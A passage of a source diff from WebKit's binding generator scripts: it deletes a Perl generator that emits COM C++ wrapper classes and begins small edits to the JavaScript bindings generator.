-        push(@getterImplementation, "    if (!resultImpl)\n");
-        push(@getterImplementation, "        return E_POINTER;\n\n");
-        push(@getterImplementation, "    *result = to${attributeTypeCOMInterfaceName}(resultImpl);\n");
-    }
-
-    # FIXME: CHECK EXCEPTION AND DO SOMETHING WITH IT
-
-    push(@getterImplementation, "    return S_OK;\n");
-    push(@getterImplementation, "}\n\n");
-
-    $attrbutesToReturn{"Getter"} = join("", @getterImplementation);
-
-    return %attrbutesToReturn;
-}
-
-sub GenerateCPPFunctionSignature
-{
-    my ($function, $className, $options) = @_;
-
-    my $functionName = $function->signature->name;
-    my $returnIDLType = $function->signature->type;
-    my $returnType = GetCOMTypeOut($returnIDLType);
-    my $noReturn = ($returnType eq "void");
-
-    my $newline = $$options{"NewLines"} ? "\n" : "";
-    my $indent = $$options{"Indent"} ? " " x $$options{"Indent"} : "";
-    my $semicolon = $$options{"IncludeSemiColon"} ? ";" : "";
-    my $virtual = $$options{"AddVirtualKeyword"} ? "virtual " : "";
-    my $class = $$options{"UseClassName"} ? "${className}::" : "";
-    my $forwarder = $$options{"Forwarder"} ? 1 : 0;
-    my $joiner = ($$options{"NewLines"} ? "\n" . $indent . "    " : " ");
-
-    my @paramArgList = ();
-    foreach my $param (@{$function->parameters}) {
-        my $paramName = $param->name;
-        my $paramType = GetCOMTypeIn($param->type);
-        my $parameter = "/* [in] */ ${paramType} ${paramName}";
-        push(@paramArgList, $parameter);
-    }
-
-    unless ($noReturn) {
-        my $resultParameter .= "/* [out, retval] */ ${returnType}* result";
-        push(@paramArgList, $resultParameter);
-    }
-
-    my $functionSig = $indent . $virtual . "HRESULT STDMETHODCALLTYPE " . $class . $functionName . "(";
-    $functionSig .= $joiner . join("," . $joiner, @paramArgList) if @paramArgList > 0;
-    $functionSig .= ")" . $semicolon . $newline;
-    if ($forwarder) {
-        my @paramNameList = ();
-        push(@paramNameList, $_->name) foreach (@{$function->parameters});
-        push(@paramNameList, "result") unless $noReturn;
-        $functionSig .= " { return " . $$options{"Forwarder"} . "::" . $functionName . "(" . join(", ", @paramNameList) . "); }\n";
-    }
-
-    return $functionSig
-}
-
-sub GenerateCPPFunction
-{
-    my ($function, $className, $implementationClass) = @_;
-
-    my @functionImplementation = ();
-
-    my $signature = GenerateCPPFunctionSignature($function, $className, { "NewLines" => 1,
-                                                                          "Indent" => 0,
-                                                                          "IncludeSemiColon" => 0,
-                                                                          "UseClassName" => 1,
-                                                                          "AddVirtualKeyword" => 0 });
-
-    my $implementationClassWithoutNamespace = StripNamespace($implementationClass);
-
-    my $functionName = $function->signature->name;
-    my $returnIDLType = $function->signature->type;
-    my $noReturn = ($returnIDLType eq "void");
-    my $raisesExceptions = @{$function->raisesExceptions};
-
-    AddIncludesForTypeInCPPImplementation($returnIDLType);
-    $CPPImplementationWebCoreIncludes{"ExceptionCode.h"} = 1 if $raisesExceptions;
-
-    my %needsCustom = ();
-    my @parameterInitialization = ();
-    my @parameterList = ();
-    foreach my $param (@{$function->parameters}) {
-        my $paramName = $param->name;
-        my $paramIDLType = $param->type;
-
-        my $paramTypeIsPrimitive = $codeGenerator->IsPrimitiveType($paramIDLType);
-        my $paramTypeIsString = $codeGenerator->IsStringType($paramIDLType);
-
-        $needsCustom{"NodeToReturn"} = $paramName if $param->extendedAttributes->{"Return"};
-
-        AddIncludesForTypeInCPPImplementation($paramIDLType);
-
-        # FIXME: We may need to null check the arguments as well
-
-        if ($paramTypeIsString) {
-            push(@parameterList, $paramName);
-        } elsif ($paramTypeIsPrimitive) {
-            if ($paramIDLType eq "boolean") {
-                push(@parameterList, "!!${paramName}");
-            } else {
-                my $primitiveImplementationType = IDLTypeToImplementationType($paramIDLType);
-                push(@parameterList, "static_cast<${primitiveImplementationType}>(${paramName})");
-            }
-        } else {
-            $CPPImplementationWebCoreIncludes{"COMPtr.h"} = 1;
-
-            $needsCustom{"CanReturnEarly"} = 1;
-
-            my $paramTypeCOMClassName = GetClassName($paramIDLType);
-            my $paramTypeImplementationWithoutNamespace = StripNamespace(IDLTypeToImplementationType($paramIDLType));
-            my $ptrName = "ptrFor" . $codeGenerator->WK_ucfirst($paramName);
-            my $paramInit = "    COMPtr<${paramTypeCOMClassName}> ${ptrName}(Query, ${paramName});\n";
-            $paramInit .= "    if (!${ptrName})\n";
-            $paramInit .= "        return E_NOINTERFACE;";
-            push(@parameterInitialization, $paramInit);
-            push(@parameterList, "${ptrName}->impl${paramTypeImplementationWithoutNamespace}()");
-        }
-    }
-
-    push(@parameterList, "ec") if $raisesExceptions;
-
-    my $implementationGetter = "impl${implementationClassWithoutNamespace}()";
-
-    my $callSigBegin = "    ";
-    my $callSigMiddle = "${implementationGetter}->" . $codeGenerator->WK_lcfirst($functionName) . "(" . join(", ", @parameterList) . ")";
-    my $callSigEnd = ";\n";
-
-    if (defined $needsCustom{"NodeToReturn"}) {
-        my $nodeToReturn = $needsCustom{"NodeToReturn"};
-        $callSigBegin .= "if (";
-        $callSigEnd = ")\n";
-        $callSigEnd .= "        *result = ${nodeToReturn};";
-    } elsif (!$noReturn) {
-        my $returnTypeIsString =  $codeGenerator->IsStringType($returnIDLType);
-        my $returnTypeIsPrimitive = $codeGenerator->IsPrimitiveType($returnIDLType);
-
-        if ($returnTypeIsString) {
-            $callSigBegin .= "*result = WebCore::BString(";
-            $callSigEnd = ").release();\n";
-        } elsif ($returnTypeIsPrimitive) {
-            my $primitiveCOMType = GetClassName($returnIDLType);
-            $callSigBegin .= "*result = static_cast<${primitiveCOMType}>(";
-            $callSigEnd = ");";
-        } else {
-            $CPPImplementationIncludesAngle{"wtf/GetPtr.h"} = 1;
-            my $returnImplementationType = IDLTypeToImplementationType($returnIDLType);
-            my $returnTypeCOMInterfaceName = GetInterfaceName($returnIDLType);
-            $callSigBegin .= "${returnImplementationType}* resultImpl = WTF::getPtr(";
-            $callSigEnd = ");\n";
-            $callSigEnd .= "    if (!resultImpl)\n";
-            $callSigEnd .= "        return E_POINTER;\n\n";
-            $callSigEnd .= "    *result = to${returnTypeCOMInterfaceName}(resultImpl);";
-        }
-    }
-
-    push(@functionImplementation, $signature);
-    push(@functionImplementation, "{\n");
-    unless ($noReturn) {
-        push(@functionImplementation, "    if (!result)\n");
-        push(@functionImplementation, "        return E_POINTER;\n\n");
-        push(@functionImplementation, "    *result = 0;\n\n") if $needsCustom{"CanReturnEarly"};
-    }
-    push(@functionImplementation, "    WebCore::ExceptionCode ec = 0;\n") if $raisesExceptions; # FIXME: CHECK EXCEPTION AND DO SOMETHING WITH IT
-    push(@functionImplementation, join("\n", @parameterInitialization) . (@parameterInitialization > 0 ? "\n" : ""));
-    push(@functionImplementation, $callSigBegin . $callSigMiddle . $callSigEnd . "\n");
-    push(@functionImplementation, "    return S_OK;\n");
-    push(@functionImplementation, "}\n\n");
-
-    return join("", @functionImplementation);
-}
-
-
-# -----------------------------------------------------------------------------
-#    CPP Header
-# -----------------------------------------------------------------------------
-
-sub GenerateCPPHeader
-{
-    my ($object, $dataNode) = @_;
-
-    my $IDLType = $dataNode->name;
-    my $implementationClass = IDLTypeToImplementationType($IDLType);
-    my $implementationClassWithoutNamespace = StripNamespace($implementationClass);
-    my $className = GetClassName($IDLType);
-    my $interfaceName = GetInterfaceName($IDLType);
-
-    my $parentClassName = GetParentClass($dataNode);
-    my @otherInterfacesImplemented = GetAdditionalInterfaces($IDLType);
-    foreach my $otherInterface (@otherInterfacesImplemented) {
-        push(@additionalInterfaceDefinitions, $codeGenerator->ParseInterface($otherInterface));
-    }
-
-    # FIXME: strip whitespace from UUID
-    my $uuid = $dataNode->extendedAttributes->{"ImplementationUUID"} || die "All classes require an ImplementationUUID extended attribute.";
-
-    my $numAttributes = @{$dataNode->attributes};
-    my $numFunctions = @{$dataNode->functions};
-
-    # - Add default header template
-    @CPPHeaderHeader = @licenseTemplate;
-    push(@CPPHeaderHeader, "\n");
-
-    # - Header guards -
-    push(@CPPHeaderHeader, "#ifndef " . $className . "_h\n");
-    push(@CPPHeaderHeader, "#define " . $className . "_h\n\n");
-
-    AddIncludesForTypeInCPPHeader($interfaceName);
-    AddIncludesForTypeInCPPHeader($parentClassName);
-    $CPPHeaderDontForwardDeclarations{$className} = 1;
-    $CPPHeaderDontForwardDeclarations{$interfaceName} = 1;
-    $CPPHeaderDontForwardDeclarations{$parentClassName} = 1;
-
-    # -- Forward declare implementation type
-    push(@CPPHeaderContent, "namespace WebCore {\n");
-    push(@CPPHeaderContent, "    class ". StripNamespace($implementationClass) . ";\n");
-    push(@CPPHeaderContent, "}\n\n");
-
-    # -- Start Class --
-    my @parentsClasses = ($parentClassName, $interfaceName);
-    push(@parentsClasses, map { GetInterfaceName($_) } @otherInterfacesImplemented);
-    push(@CPPHeaderContent, "class __declspec(uuid(\"$uuid\")) ${className} : " . join(", ", map { "public $_" } @parentsClasses) . " {\n");
-
-    # Add includes for all additional interfaces to implement
-    map { AddIncludesForTypeInCPPHeader(GetInterfaceName($_)) } @otherInterfacesImplemented;
-
-    # -- BASICS --
-    # FIXME: The constructor and destructor should be protected, but the current design of
-    # createInstance requires them to be public.  One solution is to friend the constructor
-    # of the top-level-class with every one of its child classes, but that requires information
-    # this script currently does not have, though possibly could determine.
-    push(@CPPHeaderContent, "public:\n");
-    push(@CPPHeaderContent, "   ${className}(${implementationClass}*);\n");
-    push(@CPPHeaderContent, "   virtual ~${className}();\n\n");
-
-    push(@CPPHeaderContent, "public:\n");
-    push(@CPPHeaderContent, "    static ${className}* createInstance(${implementationClass}*);\n\n");
-
-    push(@CPPHeaderContent, "    // IUnknown\n");
-    push(@CPPHeaderContent, "    virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID, void** ppvObject);\n");
-    push(@CPPHeaderContent, "    virtual ULONG STDMETHODCALLTYPE AddRef() { return ${parentClassName}::AddRef(); }\n");
-    push(@CPPHeaderContent, "    virtual ULONG STDMETHODCALLTYPE Release() { return ${parentClassName}::Release(); }\n\n");
-
-
-    # -- Parent Class Forwards --
-    if (@{$dataNode->parents}) {
-        my %attributeNameSet = map {($_->signature->name, 1)} @{$dataNode->attributes};
-        my %functionNameSet = map {($_->signature->name, 1)} @{$dataNode->functions};
-
-        my @parentLists = $codeGenerator->GetMethodsAndAttributesFromParentClasses($dataNode);
-        push(@CPPHeaderContent, "\n");
-        foreach my $parentHash (@parentLists) {
-
-            push(@CPPHeaderContent, "    // " . GetInterfaceName($parentHash->{'name'}) . $DASHES . "\n");
-
-            my @attributeList = @{$parentHash->{'attributes'}};
-            push(@CPPHeaderContent, "    // Attributes\n");
-            foreach my $attribute (@attributeList) {
-                # Don't forward an attribute that this class redefines.
-                next if $attributeNameSet{$attribute->signature->name};
-
-                AddForwardDeclarationsForTypeInCPPHeader($attribute->signature->type);
-
-                my %attributes = GenerateCPPAttributeSignature($attribute, $className, { "NewLines" => 0,
-                                                                                         "Indent" => 4,
-                                                                                         "IncludeSemiColon" => 0,
-                                                                                         "AddVirtualKeyword" => 1,
-                                                                                         "UseClassName" => 0,
-                                                                                         "Forwarder" => $parentClassName });
-                push(@CPPHeaderContent, values(%attributes));
-            }
-
-            # Add attribute names to attribute names set in case other ancestors 
-            # also define them.
-            $attributeNameSet{$_->signature->name} = 1 foreach @attributeList;
-
-            push(@CPPHeaderContent, "\n");
-
-            my @functionList = @{$parentHash->{'functions'}};
-            push(@CPPHeaderContent, "    // Functions\n");
-            foreach my $function (@functionList) {
-                # Don't forward a function that this class redefines.
-                next if $functionNameSet{$function->signature->name};
-
-                AddForwardDeclarationsForTypeInCPPHeader($function->signature->type);
-                AddForwardDeclarationsForTypeInCPPHeader($_->type) foreach (@{$function->parameters});
-
-                my $functionSig = GenerateCPPFunctionSignature($function, $className, { "NewLines" => 0,
-                                                                                        "Indent" => 4,
-                                                                                        "IncludeSemiColon" => 0,
-                                                                                        "AddVirtualKeyword" => 1,
-                                                                                        "UseClassName" => 0,
-                                                                                        "Forwarder" => $parentClassName });
-
-                push(@CPPHeaderContent, $functionSig);
-            }
-            # Add functions names to functions names set in case other ancestors 
-            # also define them.
-            $functionNameSet{$_->signature->name} = 1 foreach @functionList;
-
-            push(@CPPHeaderContent, "\n");
-        }
-    }
-
-    # - Additional interfaces to implement -
-    foreach my $interfaceToImplement (@additionalInterfaceDefinitions) {
-        my $IDLTypeOfInterfaceToImplement = $interfaceToImplement->name;
-        my $nameOfInterfaceToImplement = GetInterfaceName($IDLTypeOfInterfaceToImplement);
-        my $numAttributesInInterface = @{$interfaceToImplement->attributes};
-        my $numFunctionsInInterface = @{$interfaceToImplement->functions};
-
-        push(@CPPHeaderContent, "    // ${nameOfInterfaceToImplement} ${DASHES}\n\n");
-
-        # - Add attribute getters/setters.
-        if ($numAttributesInInterface > 0) {
-            push(@CPPHeaderContent, "    // Attributes\n\n");
-            foreach my $attribute (@{$interfaceToImplement->attributes}) {
-                AddForwardDeclarationsForTypeInCPPHeader($attribute->signature->type);
-
-                my %attributeSigs = GenerateCPPAttributeSignature($attribute, $className, { "NewLines" => 1,
-                                                                                            "Indent" => 4,
-                                                                                            "IncludeSemiColon" => 1,
-                                                                                            "AddVirtualKeyword" => 1,
-                                                                                            "UseClassName" => 0 });
-
-                push(@CPPHeaderContent, values(%attributeSigs));
-                push(@CPPHeaderContent, "\n");
-            }
-        }
-
-        # - Add functions.
-        if ($numFunctionsInInterface > 0) {
-            push(@CPPHeaderContent, "    // Functions\n\n");
-            foreach my $function (@{$interfaceToImplement->functions}) {
-                AddForwardDeclarationsForTypeInCPPHeader($function->signature->type);
-                AddForwardDeclarationsForTypeInCPPHeader($_->type) foreach (@{$function->parameters});
-
-                my $functionSig = GenerateCPPFunctionSignature($function, $className, { "NewLines" => 1,
-                                                                                        "Indent" => 4,
-                                                                                        "IncludeSemiColon" => 1,
-                                                                                        "AddVirtualKeyword" => 1,
-                                                                                        "UseClassName" => 0 });
-
-                push(@CPPHeaderContent, $functionSig);
-                push(@CPPHeaderContent, "\n");
-            }
-        }
-    }
-
-    if ($numAttributes > 0 || $numFunctions > 0) {
-        push(@CPPHeaderContent, "    // ${interfaceName} ${DASHES}\n\n");
-    }
-
-    # - Add constants COMING SOON
-
-    # - Add attribute getters/setters.
-    if ($numAttributes > 0) {
-        push(@CPPHeaderContent, "    // Attributes\n\n");
-        foreach my $attribute (@{$dataNode->attributes}) {
-            AddForwardDeclarationsForTypeInCPPHeader($attribute->signature->type);
-
-            my %attributeSigs = GenerateCPPAttributeSignature($attribute, $className, { "NewLines" => 1,
-                                                                                        "Indent" => 4,
-                                                                                        "IncludeSemiColon" => 1,
-                                                                                        "AddVirtualKeyword" => 1,
-                                                                                        "UseClassName" => 0 });
-
-            push(@CPPHeaderContent, values(%attributeSigs));
-            push(@CPPHeaderContent, "\n");
-        }
-    }
-
-    # - Add functions.
-    if ($numFunctions > 0) {
-        push(@CPPHeaderContent, "    // Functions\n\n");
-        foreach my $function (@{$dataNode->functions}) {
-            AddForwardDeclarationsForTypeInCPPHeader($function->signature->type);
-            AddForwardDeclarationsForTypeInCPPHeader($_->type) foreach (@{$function->parameters});
-
-            my $functionSig = GenerateCPPFunctionSignature($function, $className, { "NewLines" => 1,
-                                                                                    "Indent" => 4,
-                                                                                    "IncludeSemiColon" => 1,
-                                                                                    "AddVirtualKeyword" => 1,
-                                                                                    "UseClassName" => 0 });
-
-            push(@CPPHeaderContent, $functionSig);
-            push(@CPPHeaderContent, "\n");
-        }
-    }
-
-    push(@CPPHeaderContent, "    ${implementationClass}* impl${implementationClassWithoutNamespace}() const;\n");
-
-    if (@{$dataNode->parents} == 0) {
-        AddIncludesForTypeInCPPHeader("wtf/RefPtr", 1);
-        push(@CPPHeaderContent, "\n");
-        push(@CPPHeaderContent, "    ${implementationClass}* impl() const { return m_impl.get(); }\n\n");
-        push(@CPPHeaderContent, "private:\n");
-        push(@CPPHeaderContent, "    RefPtr<${implementationClass}> m_impl;\n");
-    }
-
-    # -- End Class --
-    push(@CPPHeaderContent, "};\n\n");
-
-    # -- Default Interface Creator --
-    push(@CPPHeaderContent, "${interfaceName}* to${interfaceName}(${implementationClass}*);\n\n");
-
-    push(@CPPHeaderContent, "#endif // " . $className . "_h\n");
-}
-
-
-# -----------------------------------------------------------------------------
-#    CPP Implementation
-# -----------------------------------------------------------------------------
-
-sub GenerateCPPImplementation
-{
-    my ($object, $dataNode) = @_;
-
-    my $IDLType = $dataNode->name;
-    my $implementationClass = IDLTypeToImplementationType($IDLType);
-    my $implementationClassWithoutNamespace = StripNamespace($implementationClass);
-    my $className = GetClassName($IDLType);
-    my $interfaceName = GetInterfaceName($IDLType);
-
-    my $parentClassName = GetParentClass($dataNode);
-    my $isBaseClass = (@{$dataNode->parents} == 0);
-
-    my $uuid = $dataNode->extendedAttributes->{"ImplementationUUID"} || die "All classes require an ImplementationUUID extended attribute.";
-
-    my $numAttributes = @{$dataNode->attributes};
-    my $numFunctions = @{$dataNode->functions};
-
-    # - Add default header template
-    @CPPImplementationHeader = @licenseTemplate;
-    push(@CPPImplementationHeader, "\n");
-
-    push(@CPPImplementationHeader, "#include \"config.h\"\n");
-    push(@CPPImplementationHeader, "#include \"WebKitDLL.h\"\n");
-    push(@CPPImplementationHeader, "#include " . ($className eq "GEN_DOMImplementation" ? "\"GEN_DOMDOMImplementation.h\"" : "\"${className}.h\"") . "\n");
-    $CPPImplementationDontIncludes{"${className}.h"} = 1;
-    $CPPImplementationWebCoreIncludes{"${implementationClassWithoutNamespace}.h"} = 1;
-
-    # -- Constructor --
-    push(@CPPImplementationContent, "${className}::${className}(${implementationClass}* impl)\n");
-    if ($isBaseClass) {
-        push(@CPPImplementationContent, "    : m_impl(impl)\n");
-        push(@CPPImplementationContent, "{\n");
-        push(@CPPImplementationContent, "    ASSERT_ARG(impl, impl);\n");
-        push(@CPPImplementationContent, "}\n\n");
-    } else {
-        push(@CPPImplementationContent, "    : ${parentClassName}(impl)\n");
-        push(@CPPImplementationContent, "{\n");
-        push(@CPPImplementationContent, "}\n\n");
-    }
-
-    # -- Destructor --
-    push(@CPPImplementationContent, "${className}::~${className}()\n");
-    push(@CPPImplementationContent, "{\n");
-    if ($isBaseClass) {
-        $CPPImplementationIncludes{"DOMCreateInstance.h"} = 1;
-        push(@CPPImplementationContent, "    removeDOMWrapper(impl());\n");
-    }
-    push(@CPPImplementationContent, "}\n\n");
-
-    push(@CPPImplementationContent, "${implementationClass}* ${className}::impl${implementationClassWithoutNamespace}() const\n");
-    push(@CPPImplementationContent, "{\n");
-    push(@CPPImplementationContent, "    return static_cast<${implementationClass}*>(impl());\n");
-    push(@CPPImplementationContent, "}\n\n");
-
-    # Base classes must implement the createInstance method externally.
-    if (@{$dataNode->parents} != 0) {
-        push(@CPPImplementationContent, "${className}* ${className}::createInstance(${implementationClass}* impl)\n");
-        push(@CPPImplementationContent, "{\n");
-        push(@CPPImplementationContent, "    return static_cast<${className}*>(${parentClassName}::createInstance(impl));\n");
-        push(@CPPImplementationContent, "}\n");
-    }
-
-    push(@CPPImplementationContent, "// IUnknown $DASHES\n\n");
-
-    # -- QueryInterface --
-    push(@CPPImplementationContent, "HRESULT STDMETHODCALLTYPE ${className}::QueryInterface(REFIID riid, void** ppvObject)\n");
-    push(@CPPImplementationContent, "{\n");
-    push(@CPPImplementationContent, "    *ppvObject = 0;\n");
-    push(@CPPImplementationContent, "    if (IsEqualGUID(riid, IID_${interfaceName}))\n");
-    push(@CPPImplementationContent, "        *ppvObject = reinterpret_cast<${interfaceName}*>(this);\n");
-    push(@CPPImplementationContent, "    else if (IsEqualGUID(riid, __uuidof(${className})))\n");
-    push(@CPPImplementationContent, "        *ppvObject = reinterpret_cast<${className}*>(this);\n");
-    push(@CPPImplementationContent, "    else\n");
-    push(@CPPImplementationContent, "        return ${parentClassName}::QueryInterface(riid, ppvObject);\n\n");
-    push(@CPPImplementationContent, "    AddRef();\n");
-    push(@CPPImplementationContent, "    return S_OK;\n");
-    push(@CPPImplementationContent, "}\n\n");
-
-    # - Additional interfaces to implement -
-    foreach my $interfaceToImplement (@additionalInterfaceDefinitions) {
-        my $IDLTypeOfInterfaceToImplement = $interfaceToImplement->name;
-        my $nameOfInterfaceToImplement = GetInterfaceName($IDLTypeOfInterfaceToImplement);
-        my $numAttributesInInterface = @{$interfaceToImplement->attributes};
-        my $numFunctionsInInterface = @{$interfaceToImplement->functions};
-
-        push(@CPPImplementationContent, "    // ${nameOfInterfaceToImplement} ${DASHES}\n\n");
-
-        if ($numAttributesInInterface > 0) {
-            push(@CPPImplementationContent, "// Attributes\n\n");
-            foreach my $attribute (@{$interfaceToImplement->attributes}) {
-                # FIXME: Do this in one step.
-                # FIXME: Implement exception handling.
-
-                AddIncludesForTypeInCPPImplementation($attribute->signature->type);
-
-                my %attributes = GenerateCPPAttribute($attribute, $className, $implementationClass, $IDLType);
-                push(@CPPImplementationContent, values(%attributes));
-            }
-        }
-
-        # - Add functions.
-        if ($numFunctionsInInterface > 0) {
-            push(@CPPImplementationContent, "// Functions\n\n");
-
-            foreach my $function (@{$interfaceToImplement->functions}) {
-                my $functionImplementation = GenerateCPPFunction($function, $className, $implementationClass);
-                push(@CPPImplementationContent, $functionImplementation);
-            }
-        }
-    }
-
-    push(@CPPImplementationContent, "// ${interfaceName} $DASHES\n\n");
-
-    # - Add attribute getters/setters.
-    if ($numAttributes > 0) {
-        push(@CPPImplementationContent, "// Attributes\n\n");
-        foreach my $attribute (@{$dataNode->attributes}) {
-            # FIXME: do this in one step
-            my $hasSetterException = @{$attribute->setterExceptions};
-            my $hasGetterException = @{$attribute->getterExceptions};
-
-            AddIncludesForTypeInCPPImplementation($attribute->signature->type);
-
-            my %attributes = GenerateCPPAttribute($attribute, $className, $implementationClass, $IDLType);
-            push(@CPPImplementationContent, values(%attributes));
-        }
-    }
-
-    # - Add functions.
-    if ($numFunctions > 0) {
-        push(@CPPImplementationContent, "// Functions\n\n");
-
-        foreach my $function (@{$dataNode->functions}) {
-            my $functionImplementation = GenerateCPPFunction($function, $className, $implementationClass);
-            push(@CPPImplementationContent, $functionImplementation);
-        }
-    }
-
-    # - Default implementation for interface creator.
-    # FIXME: add extended attribute to add custom implementation if necessary.
-    push(@CPPImplementationContent, "${interfaceName}* to${interfaceName}(${implementationClass}* impl)\n");
-    push(@CPPImplementationContent, "{\n");
-    push(@CPPImplementationContent, "    return ${className}::createInstance(impl);\n");
-    push(@CPPImplementationContent, "}\n");
-}
-
-sub WriteData
-{
-    my ($object, $name, $pureInterface) = @_;
-
-    # -- IDL --
-    my $IDLFileName = "$outputDir/I" . $TEMP_PREFIX . "DOM" . $name . ".idl";
-    unlink($IDLFileName);
-
-    # Write to output IDL.
-    open(OUTPUTIDL, ">$IDLFileName") or die "Couldn't open file $IDLFileName";
-
-    # Add header
-    print OUTPUTIDL @IDLHeader;
-
-    # Add forward declarations and imorts
-    delete $IDLForwardDeclarations{keys(%IDLDontForwardDeclare)};
-    delete $IDLImports{keys(%IDLDontImport)};
-
-    print OUTPUTIDL map { "cpp_quote(\"interface $_;\")\n" } sort keys(%IDLForwardDeclarations);
-    print OUTPUTIDL "\n";
-
-    print OUTPUTIDL map { "interface $_;\n" } sort keys(%IDLForwardDeclarations);
-    print OUTPUTIDL "\n";
-    print OUTPUTIDL "#ifndef DO_NO_IMPORTS\n";
-    print OUTPUTIDL map { ($_ eq "IGEN_DOMImplementation") ? "import \"IGEN_DOMDOMImplementation.idl\";\n" : "import \"$_.idl\";\n" } sort keys(%IDLImports);
-    print OUTPUTIDL "#endif\n";
-    print OUTPUTIDL "\n";
-
-    # Add content
-    print OUTPUTIDL @IDLContent;
-
-    close(OUTPUTIDL);
-
-    @IDLHeader = ();
-    @IDLContent = ();
-
-    if ($pureInterface) {
-        my $CPPInterfaceHeaderFileName = "$outputDir/" . $TEMP_PREFIX . "DOM" . $name . ".h";
-        unlink($CPPInterfaceHeaderFileName);
-
-        open(OUTPUTCPPInterfaceHeader, ">$CPPInterfaceHeaderFileName") or die "Couldn't open file $CPPInterfaceHeaderFileName";
-
-        print OUTPUTCPPInterfaceHeader @CPPInterfaceHeader;
-
-        close(OUTPUTCPPInterfaceHeader);
-
-        @CPPInterfaceHeader = ();
-    } else {
-        my $CPPHeaderFileName = "$outputDir/" . $TEMP_PREFIX . "DOM" . $name . ".h";
-        unlink($CPPHeaderFileName);
-
-        # -- CPP Header --
-        open(OUTPUTCPPHeader, ">$CPPHeaderFileName") or die "Couldn't open file $CPPHeaderFileName";
-
-        # Add header
-        print OUTPUTCPPHeader @CPPHeaderHeader;
-
-        # Add includes
-        print OUTPUTCPPHeader map { ($_ eq "GEN_DOMImplementation.h") ? "#include \"GEN_DOMDOMImplementation.h\"\n" : "#include \"$_\"\n" } sort keys(%CPPHeaderIncludes);
-        print OUTPUTCPPHeader map { "#include <$_>\n" } sort keys(%CPPHeaderIncludesAngle);
-
-        foreach my $dontDeclare (keys(%CPPHeaderDontForwardDeclarations)) {
-            delete $CPPHeaderForwardDeclarations{$dontDeclare} if ($CPPHeaderForwardDeclarations{$dontDeclare});
-        }
-        print OUTPUTCPPHeader "\n";
-        print OUTPUTCPPHeader map { "interface $_;\n" } sort keys(%CPPHeaderForwardDeclarations);
-        print OUTPUTCPPHeader "\n";
-
-        # Add content
-        print OUTPUTCPPHeader @CPPHeaderContent;
-
-        close(OUTPUTCPPHeader);
-
-        @CPPHeaderHeader = ();
-        @CPPHeaderContent = ();
-
-
-        # -- CPP Implementation --
-        my $CPPImplementationFileName = "$outputDir/" . $TEMP_PREFIX . "DOM" . $name . ".cpp";
-        unlink($CPPImplementationFileName);
-
-        open(OUTPUTCPPImplementation, ">$CPPImplementationFileName") or die "Couldn't open file $CPPImplementationFileName";
-
-        # Add header
-        print OUTPUTCPPImplementation @CPPImplementationHeader;
-        print OUTPUTCPPImplementation "\n";
-
-        # Add includes
-        foreach my $dontInclude (keys(%CPPImplementationDontIncludes)) {
-            delete $CPPImplementationIncludes{$dontInclude} if ($CPPImplementationIncludes{$dontInclude});
-        }
-        print OUTPUTCPPImplementation map { ($_ eq "GEN_DOMImplementation.h") ? "#include \"GEN_DOMDOMImplementation.h\"\n" : "#include \"$_\"\n" } sort keys(%CPPImplementationIncludes);
-        print OUTPUTCPPImplementation map { "#include <$_>\n" } sort keys(%CPPImplementationIncludesAngle);
-        print OUTPUTCPPImplementation "\n";
-
-        print OUTPUTCPPImplementation "#pragma warning(push, 0)\n";
-        print OUTPUTCPPImplementation map { "#include <WebCore/$_>\n" } sort keys(%CPPImplementationWebCoreIncludes);
-        print OUTPUTCPPImplementation "#pragma warning(pop)\n";
-
-        # Add content
-        print OUTPUTCPPImplementation @CPPImplementationContent;
-
-        close(OUTPUTCPPImplementation);
-
-        @CPPImplementationHeader = ();
-        @CPPImplementationContent = ();
-    }
-}
-
-1;
diff --git a/src/3rdparty/webkit/WebCore/bindings/scripts/CodeGeneratorJS.pm b/src/3rdparty/webkit/WebCore/bindings/scripts/CodeGeneratorJS.pm
index d8367ac..3e9b521 100644
--- a/src/3rdparty/webkit/WebCore/bindings/scripts/CodeGeneratorJS.pm
+++ b/src/3rdparty/webkit/WebCore/bindings/scripts/CodeGeneratorJS.pm
@@ -17,7 +17,7 @@
 # Library General Public License for more details.
 #
 # You should have received a copy of the GNU Library General Public License
-# aint with this library; see the file COPYING.LIB.  If not, write to
+# along with this library; see the file COPYING.LIB.  If not, write to
 # the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
 # Boston, MA 02110-1301, USA.
 
@@ -32,11 +32,14 @@ my $writeDependencies = 0;
 my @headerContentHeader = ();
 my @headerContent = ();
 my %headerIncludes = ();
+my %headerTrailingIncludes = ();
 
 my @implContentHeader = ();
 my @implContent = ();
 my %implIncludes = ();
 my @depsContent = ();
+my $numCachedAttributes = 0;
+my $currentCachedAttribute = 0;
 
 # Default .h template
 my $headerTemplate = << "EOF";
@@ -132,15 +135,7 @@ sub GetParentClassName
     my $dataNode = shift;
 
     return $dataNode->extendedAttributes->{"LegacyParent"} if $dataNode->extendedAttributes->{"LegacyParent"};
-    if (@{$dataNode->parents} eq 0) {
-        # FIXME: SVG types requiring a context() pointer do not have enough
-        # space to hold a globalObject pointer as well w/o hitting the CELL_SIZE limit.
-        # This could be fixed by moving context() into the various impl() classes.
-        # Until then, we special case these SVG bindings and allow them to return
-        # the wrong prototypes and constructors during x-frame access.  See bug 27088.
-        return "DOMObjectWithSVGContext" if IsSVGTypeNeedingContextParameter($dataNode->name);
-        return "DOMObjectWithGlobalPointer";
-    }
+    return "DOMObjectWithGlobalPointer" if (@{$dataNode->parents} eq 0);
     return "JS" . $codeGenerator->StripModule($dataNode->parents(0));
 }
 
@@ -149,6 +144,7 @@ sub GetVisibleClassName
     my $className = shift;
 
     return "DOMException" if $className eq "DOMCoreException";
+    return "FormData" if $className eq "DOMFormData";
     return $className;
 }
 
@@ -169,16 +165,6 @@ sub IndexGetterReturnsStrings
     return 0;
 }
 
-sub CreateSVGContextInterfaceName
-{
-    my $type = shift;
-
-    return $type if $codeGenerator->IsSVGAnimatedType($type);
-    return "SVGPathSeg" if $type =~ /^SVGPathSeg/ and $type ne "SVGPathSegList";
-
-    return "";
-}
-
 sub AddIncludesForType
 {
     my $type = $codeGenerator->StripModule(shift);
@@ -316,7 +302,14 @@ sub GenerateGetOwnPropertySlotBody
     if ($dataNode->extendedAttributes->{"HasIndexGetter"} || $dataNode->extendedAttributes->{"HasCustomIndexGetter"} || $dataNode->extendedAttributes->{"HasNumericIndexGetter"}) {
         push(@getOwnPropertySlotImpl, "    bool ok;\n");
         push(@getOwnPropertySlotImpl, "    unsigned index = propertyName.toUInt32(&ok, false);\n");
